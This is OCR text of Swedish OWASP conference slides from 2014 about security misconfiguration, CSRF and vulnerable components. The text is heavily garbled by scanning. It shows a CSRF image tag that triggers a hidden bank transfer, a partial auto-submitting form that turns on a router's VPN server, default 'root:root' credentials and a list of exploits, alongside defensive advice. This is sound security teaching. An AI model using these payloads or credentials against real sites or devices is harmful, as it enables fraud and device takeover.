INnternetdagama 2014

Knowit



OWASP

East Sweden

WWW.OWasP.org




« Security misconfiguration
» (Cross-site request forgery (CSRF)
* Using known vulnerable components



Security misconfiguration



Pratsamma felsidor

Server Error in '/' Application.

Input string was not in a correct format.

Description: An unhandled exception cccurred during the execution of the current web request. Please review the stack trace for mere infermation about the errer and where it originated in the code.
Exception Details: System.FormatException: Input string was not in a correct format.
Source Error:

this unhandled exception can caly be 1 when conpiled in debug me nable this, plea the belo then request the URL:

at the the file that generated the error. Example:

o the configuration file of your application:

Mote that this second technique will cause all files within a given applicatic 3 be compiled in debug mode. The first technique will cause only that particular file to be compiled in debug mode.

Important: Running applicat in d incur a memory ance ocverhead hould make sure that an application has debugging disabled Before depleying into production scenario.

Stack Trace:

[FormatException: Input string was not in a correct format.]
System.Number.StringToNumber(String str, NumberStyles options, NumberBuffer& number, NumberFormatInfo info, Boolean parseDecimal) +14345541
System.Number.ParseInt32(String s, NumberStyles style, NumberFormatInfo info) +385
ASP.default_aspx._ RenderBodyContent(HtmlTextWriter _ w, Control parameterContainer) +95
System.Web.UI.Control.RenderChildrenInternal (HtmlTextWriter writer, ICollection children) +131
System.Web.UI.Control.RenderControlInternal (HtmlTextWriter writer, ControlAdapter adapter) +158
ASP.site_master._ Render__control9(HtmlTextWriter _ w, Control parameterContainer) +461
System.Web.UI.Control.RenderChildrenInternal (HtmlTextWriter writer, ICollection children) +131
System.Web.UI.HtmlControls.HtmlForm.RenderChildren(HtmlTextlWriter writer) +394
System.Web.UI.HtmlControls.HtmlContainerControl.Render(HtmlTextWriter writer) +49
System.Web.UI.Control.RenderControlInternal (HtmlTextWriter writer, ControlAdapter adapter) +158
System.Web.UI.Control.RenderChildrenInternal (HtmlTextlWriter writer, ICollection children) +246
System.Web.UI.Control.RenderControlInternal (HtmlTextWriter writer, ControlAdapter adapter) +158
System.Web.UI.Control.RenderChildrenInternal (HtmlTextlWriter writer, ICollection children) +246
System.Web.UI.Page.Render(HtmlTextWriter writer) +48
System.Web.UI.Control.RenderControlInternal (HtmlTextWriter writer, ControlAdapter adapter) +158
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforefsyncPoint, Boolean includeStagesAfterfAsyncPoint) +5363

Version Information: Microsoft NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.34212




Hillistning

localhost - /account/

To Parent

Directory

11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2814 11:
11/17/2e14 11:
11/17/2814 11:
11/17/2e14 11:
11/17/2814 11:

AddPhoneNumber.aspx
Confirm.aspx
Forgot.aspx
Lockout.aspx
Login.aspx
Manage.aspx
Managelogins.aspx
ManagePassword.asp:
OpenfuthProviders.ascx
Register.aspx
RegisterExternallogin.as
ResetPassword. aspx

ifyPhonesNumber.asp:
Web.config
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MySQL Connections ®@ ®

Local instance MySQL56

Connect to MySQL Server

™ T Please enter password for the
h\ | following service:

workbench Service: Mysgl@localhost: 3306

User: root

[ ] Save password in vault




Telnet
root:root, admin:admin
Cama Botnet

420 000 Klienter
Skanna intermet
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Ta fram en upprepbar hardningsprocess, garna automatiserad
Ta fram en process for driftsattning och patch-hantering

\Verifiera konfigurationen genom aterkommande sarbarhets-
skanningar



Cross-site request forgery (CS




http://www.bank.com/app/transferFunds?amount=15008&destinationAccount=123

<img src="http://www.bank.com/app/transferFunds?amount=150000&destinationAccount=666"
width="0" height="0">
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Nagot lite mer aktuellt. . .




VPN - VFN-server

Aktivera VPM-semnverm

Semverlage

Matverksplats (Samba) support

© Knowit Secure AB 2014



POST-anrop

ply.htm HTTF/1.1

Tzer-— . i / 0 - OWed; rw: 1 Ge JZ20100101
Aoocept: text/html, app icat i p applicati so=0.9, %/ % =0
Aocept-Lancuage: sV W ,:n—Ub,q=D.5,Eﬂ:q=D

Aoccept-Encoding: o K d:tldT:

Beferer: http://182.168.1.1/Adva need VPN anr:nt.gsp

Authorization: EBasic ?HREqU&b-uW&hmthcg

Connection: keep-aliwve

Content-Type: application/x-www—form-urlencoded

Content-Length: 487

current page=Advanced VPN Content.asp&inext page Ai"qncwd vPH ~Content.aspémodified=0gaction modes plyEaction wait=10
ction script=restart nd~pr:t:rr:d lang=SVefirnmer C4EVFNServer enable=1l&VPNServer mcd: ppepdépptpd enable=1

Jd_hrnadca5t=di. Epptpd clientlist=% r%3E tatus DPTPd—“q-dTHq np:n"pnd—tvPHH:r":r mode select=pptpds
Frtpd broadocast_ppp tpd clientlist username=&Lpptpd clientlist password= pn_q:r"er_cllcntllqt_uﬂ:rname= pn_serv
er clientlist password=|

&a




Ett formular

[Fl<html>
=] <body>
= <«form action i . - . =] ="POST" name="csrf form">
<input g "hidden" na ; et W lue="Advanced&#95 ;' VEN&#95 ;Content&f#dé rasp"
<input re="hidden" name="next&f95:p v re="Advanced&f 5 ' VEPNERO5 :Content&#46 rasp"
<input type="hidden" name="modified" wvalue=
<input type="hidden" name="action&#95 mode"
<input ="hidden" name="action&#?5;wait"
<input pe="hidden" name="action&#95:=zcript -
<input type="hidden" name="preferred&#i5;
<input re="hidden"
<input type="hidder
<input ty "hidder
<input ="hidden"
<input 7 "hidden"
<input ="hidden
<input "hidden"
<input ty "hidden"
<input
<input
<input rpe="hidden" ! : ien i 5; 1 value
<input e="hidden" name= 95 ;password" wvalue=""
<input type="hidden"

<input type="hidden"

rzcripts>
window.onload = function() {

document . forms['csrf f¢ '] .submit ()




VPN - VPN-server

Aktivera VPM-senvern

Serverlage

Matverksplats (Samba) support
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o (CSRF-Tokens
o Krav explicit autentisering for kansliga operationer
« CAPTCHA



Using known vulnerable components



CVE-2014-0160




#1/bin/bash
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ﬂ Exploits Database by Off

eXploit-an.com

Appar Termp

The Exploit Database

The Exploit Database (EDB) - an ultimate archive of exploits and vulnerable software. A great resource for
penetration testers, vulnerability researchers, and security addicts alike. Our aim is to collect exploits from
submittals and mailing lists and concentrate them in one, easy to navigate database.

Remote Exploits
Date AV Description Plat. Author

Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell

2014-11-20 VirtualAlloc (M514-064) windows GradiusX & b33f

2014-11-18
2014-11-18
204-11-17
2014-11-17
2014-11-13
2014-11-13

Samsung Galaxy KN droid Browser RCE android metasploit
MantisET XmllmportExport Plugin PHP Code Injection Vulnerability php metasploit
Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.1 Bypass (M512-037)

.NET Remoting 5 s Remote Command Execution

Internet Explor: 11 - OLE Automation Array Remote Code Execution (#1) windows

Ceeaee ac
®8iB®LLH

Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF) windows

Local Exploits

A

Date
2014-11-14
2014-11-14
2014-11-14
2014-11-12
2014-11-06
2012-01-12
2014-10-29

Description Plat.

OSSEC 2.8 - Insecure Temparary File Creation Vulnerabilit, lege Escalation linux

M514-064 Microsoft Windows OLE Package Manager Code Execution Through Python windows metasploit
M514-064 Microsoft Windows OLE Package Manager Code Execution windows metasploit
M5 Office 2007 and 2010 - OLE Arbitrary Command Execution

i-FTP 2.20 - Buffer Overflow SEH Exploit

Linux Local Roof 2.6.39 (32-bit & 64-bit) - Mempodipper #2

Ceeesaeac
BLLO®LLL <

IBEM Tivoli Monitoring 6.2.2 kbbacf1 - Privilege Escalation inux Robert Jaroszuk

Web Applications

© Knowit Secure AB 2014



Aspect Security & Sonatype
31st pbiblioteken
20 mest populara ramverken
11 mest populara sakernetspipliotek
113,9 miljoner nerladdningar




* |dentifiera och dokumentera alla komponenter och de versioner
som anvandads

« [afram en lattanvand och tyadlig policy kring anvandning av
tredjepartskomponenter

« Hall koll pa vilka sékerhetsbrister som ar k&nda or olika
<Komponenter
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